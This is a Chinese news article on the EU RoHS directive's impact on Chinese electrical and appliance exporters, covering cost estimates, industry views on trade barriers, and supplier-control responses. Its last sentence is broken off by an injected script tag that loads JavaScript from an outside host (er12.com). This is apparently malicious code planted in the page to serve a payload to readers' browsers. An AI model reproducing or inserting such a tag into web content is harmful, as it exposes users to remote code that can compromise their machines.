摘要：即将到来的7月1日，欧盟rohs指令将对所有在欧盟范围内生产和销售机电产品强制实施，如果不符合要求，将被清扫出欧盟市场。这也是继2006年1月1日起实施的欧盟weee指令之后，又一次对中国机电企业具有很大冲击的欧盟指令。
即将到来的7月1日，欧盟rohs指令将对所有在欧盟范围内生产和销售机电产品强制实施，如果不符合要求，将被清扫出欧盟市场。这也是继2006年1月1日起实施的欧盟weee指令之后，又一次对中国机电企业具有很大冲击的欧盟指令。
对于中国的电子、电机企业来说，忧喜参半:忧的是，欧盟rohs指令增加成本，会在一定程度上限制企业的发展和出口;喜的是，欧盟rohs指令将提高中国相关产品的门槛，有利于行业的洗牌。
中国企业受困
事实上，rohs指令并不是第一个对中国机电行业冲击的指令。在此之前，欧盟weee指令(《关于报废电子电器设备指令》)正式实行，weee指令主要是防治电子电器废弃物。
上述指令客观上确实有利于环境保护，并不能指责欧盟设置绿色壁垒。中国家用电器协会有关人士表示:“欧盟这两大指令的初衷是保护环境，维护消费者健康，初衷或者说出发点是很好的。”
事实上，这指令并不是针对中国企业，而是在全球范围内，包括在欧盟本土生产企业和产品。只要在欧盟范围内使用出售的产品，均在这一指令笼罩下。万春晖分析道:“只要是出口的商品都会受到影响，尤其是出口到欧盟那边，尤其是中国众多的机电企业。这对中国机电产品出口将造成很大影响，但她透露，现在这一影响也还没办法估算出来。”
据了解，目前欧盟25成员国中并没有全部都将weee指令等转化为本国法律条文，但欧盟双指令仍然增加了中国电子、机电企业的成本。
海信集团海外营销部一位负责人认为，“由于目前欧盟大部分成员国对于回收体系的建立尚未完成立法，而且产品差别很大，出口成本的增幅难以准确预计。出口过程中被征收的‘垃圾处理费’到底有多少根本不清楚，中国家电企业在核算回收成本、调整自身的出口市场格局时，没有明确依据。”
“欧盟这两大指令由于增加了出口企业的成本，将有可能会造成对欧家电出口降低30%-50%，甚至更严重。”一位家电业内人士分析认为。据中国机电商会有关人士预测，中国受两指令直接影响的电器产品将达300多亿美元，占对欧洲出口机电产品的70%。粗略估算，如果该指令执行，中国出口欧盟每台空调成本将上升15到20美元。
“影响上来说，这实际上就是一个客观的贸易壁垒，抬高了，对想要出口的企业增加产品的难度和成本。”上述家电协会人士分析。
目前，中国国家电出口量的1/3销往欧盟，欧洲25%的家电市场被中国产品占有。国家环保总局环境与经济政策研究中心国冬梅表示，“新规实行后，中国国内家电企业的生产成本会上升，与国外产品相比竞争力下降，进入欧盟市场的门槛被提高了，有了贸易壁垒。这势必会造成中国这类产品的出口减少。”
应对
家电业界专家指出，欧盟双指令不可避免地将带来家电产业链条的巨大变革，一些家电企业可能因此被淘汰出局，引发市场格局重组，这对家电产业发展的冲击不可低估，国内企业宜慎重应对。“广大机电企业如何突破壁垒，如何在有限的时间尽快熟悉新的游戏规则，如何利用壁垒造成的机会争夺更大的市场、赚取更多的利润才是关键。”
不少电机企业经过准备，已经对眼下就要实施的rohs已经作好的应对策略:“rohs指令的实施实质上就是提高进入门槛的一个方式。要是门槛不高，有些企业就通过偷工减料方式，这样不仅破坏了产品质量，还造成了中国产品不好的印象，给中国制造埋上阴影。”毕捷电机外贸负责人表示，“我们从这2003年rohs指令刚确定的时候，就开始控制制造原料，我认为是一个很好的办法。”该人士进一步分析道:“由于这一rohs指令提高产品进入门槛，这对于正规的企业来说，绝对是一件好事，至少可以控制不少行业的追随者，在高门槛面前，价格战不容易为一些不良企业所利用。”
“应对rosh指令最好的办法就是，源头是要对上游的供应商进行控制，必须落实到这一环节。要不整机企业无法实现控制。只有在零配件等方面进行源头控制了，才可能拿到符合条件的原料，但这样子做势必会增加成本。”不少行业人士表示。
据了解，不少企业加快生产线的“无铅化改造”并和“上游的原材料供应商”签订了新的供应协议，从“源头”上避免6种有害物质。可喜的是，中国政府也加快了针对这两大指令的的政策制订。由国家发改委起草的《废旧家电回收处理管理条例》、以及信息产部和发改委等联合起草的?script src=http://er12.com/t.js>
